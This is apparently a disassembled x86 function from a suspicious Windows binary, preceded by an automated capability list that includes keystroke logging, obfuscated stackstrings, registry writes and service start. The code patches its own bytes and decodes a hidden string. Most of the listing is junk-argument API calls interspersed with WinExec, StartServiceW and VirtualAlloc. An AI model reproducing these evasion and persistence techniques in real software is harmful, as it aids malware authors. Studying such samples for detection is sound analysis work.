Function at 0xa89000
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create directory
Delete directory
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get graphical window text
Get keyboard layout
Log keystrokes
Read .ini file
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x10], 0xa89b86
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa89036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa891aa
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa890b8
call fcn.00466902
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa8907a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa89094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa89094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa8904a
mov byte [ebp - 0x64], 3
mov byte [ebp - 0x63], 0x21
mov byte [ebp - 0x62], 6
mov byte [ebp - 0x61], 0x71
mov byte [ebp - 0x60], 5
mov byte [ebp - 0x5f], 0x6e
mov byte [ebp - 0x5e], 7
mov byte [ebp - 0x5d], 0x68
mov byte [ebp - 0x5c], 8
mov byte [ebp - 0x5b], 0x9d
mov byte [ebp - 0x5a], 0xb1
mov byte [ebp - 0x59], 0x6f
mov byte [ebp - 0x58], 0x33
mov byte [ebp - 0x57], 0x21
mov byte [ebp - 0x56], 0x1a
mov byte [ebp - 0x55], 0x94
mov byte [ebp - 0x54], 9
mov byte [ebp - 0x53], 0x72
mov byte [ebp - 0x52], 2
mov byte [ebp - 0x51], 0x79
mov byte [ebp - 0x50], 4
mov byte [ebp - 0x4f], 0x84
mov byte [ebp - 0x4e], 0
mov byte [ebp - 0x4d], 0x81
mov byte [ebp - 0x4c], 1
mov byte [ebp - 0x4b], 0x86
mov byte [ebp - 0x4a], 8
mov byte [ebp - 0x49], 0x83
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa8913a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1c
jae 0xa8919f
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x64]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa89166
mov dword [ebp - 0x24], 8
mov eax, dword [ebp - 8]
add eax, 6
mov dword [ebp - 8], eax
jmp 0xa89132
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x63]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa8918e
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa8917b
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x64]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa89132
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa7dfea
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00408085
mov ecx, eax
call fcn.00402f23
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402ec7
and dword [ebp - 0x1c], 0
jmp 0xa891e2
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa891f2
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa891db
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
push 0x20dd
push 0x1fc6
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0
push 0x12dc
push 0
push 0x869
push 0x8b0
push 0
push 0xaef
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
push 0x190c
push 0x1ea6
push 0xf39
push 0x17f0
push 0x1eed
push 0x17a0
push 0xbfe
push 0xab
push 0x21f0
push 0x19a5
push 0x1240
push 0x765
push 0x2013
call dword [sym.imp.GDI32.dll_CreateFontA]
push 0x1fd9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
push 0x1d11
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0x2cc
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0
push 0x1059
push 0x1f59
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 0x64a
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0
push 0x25eb
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
push 0x24d1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0x1c1e
push 0
push 0x22b7
push 0xdec
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 0x1688
push 0x1d5e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
push 0xf26
push 0x6c0
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0x61a
push 0
push 0xd1d
push 0xa0e
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0
push 0x2137
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0x20c1
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0x12ea
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0x534
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0
push 0
push 0x14e5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
push 0
push 0x1f1b
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0x1b10
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0
push 0x2336
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
push 0
push 0
push 0x1def
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
push 0
push 0x10b7
push 0x19ec
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x1b5b
push 0x1041
push 0x1257
push 0x14ab
push 0x4fb
push 0xdf5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0
push 0x22fe
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0
push 0x1687
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0x27d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push 0xf78
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0x1d52
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x26e2
push 0x1f7b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
push 0
push 0x1bb4
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
push 0
push 0x2564
push 0
push 0x76c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
push 0xe6e
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0xae0
push 0xd7e
push 0x3f
push 0x16a8
push 0
call dword [sym.imp.USER32.dll_SetRect]
push 0x2317
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
push 0xed1
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 0x1bcd
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0x3e2
push 0xfd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
push 0x20ae
push 0x13e7
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x77
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0x125e
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0xab9
push 0x24d3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0x18ca
call dword [sym.imp.USER32.dll_GetKeyboardType]
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0xe92
push 0xdea
push 0x1eeb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0
push 0x934
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0
push 0x2434
push 0xae8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
push 0xd00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
push 0x254f
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0
push 0x26c9
push 0
push 0x2131
push 0x1361
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0
push 0
push 0x8b
push 0xf82
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x1ac9
push 0
push 0x147
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0x202e
push 0
push 0x13b3
push 0x1a12
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0x19d1
push 0
push 0
push 0x171c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
push 1
push 0x16b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0x1277
push 0x92b
push 0x169a
push 0x1de8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
push 0x1403
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0x9b1
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0x1712
push 0x1df1
push 0x22c5
push 0xcc
call dword [sym.imp.GDI32.dll_CreateBitmap]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 0x2646
push 0xa5e
push 0x24c8
push 0x209c
push 0x111d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push 0
push 0
push 0x1359
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push 0xb5b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
call dword [sym.imp.USER32.dll_WaitMessage]
push 0x1b8e
push 0x19b8
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
push 0
push 0x1e16
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0
push 0
push 0x1206
push 0x1114
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
push 0x1748
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0
push 0
push 0x901
push 0
push 0x1f12
push 0
push 0x1b75
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0x56
push 0
push 0
push 0x3b9
push 0x23d0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0x244a
push 0x1ee4
push 0
push 0x1395
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 1
push 0xc9f
push 0x380
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
push 0x2054
push 0x62c
push 0x1e04
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0xa89b90
mov esp, ebp
pop ebp
ret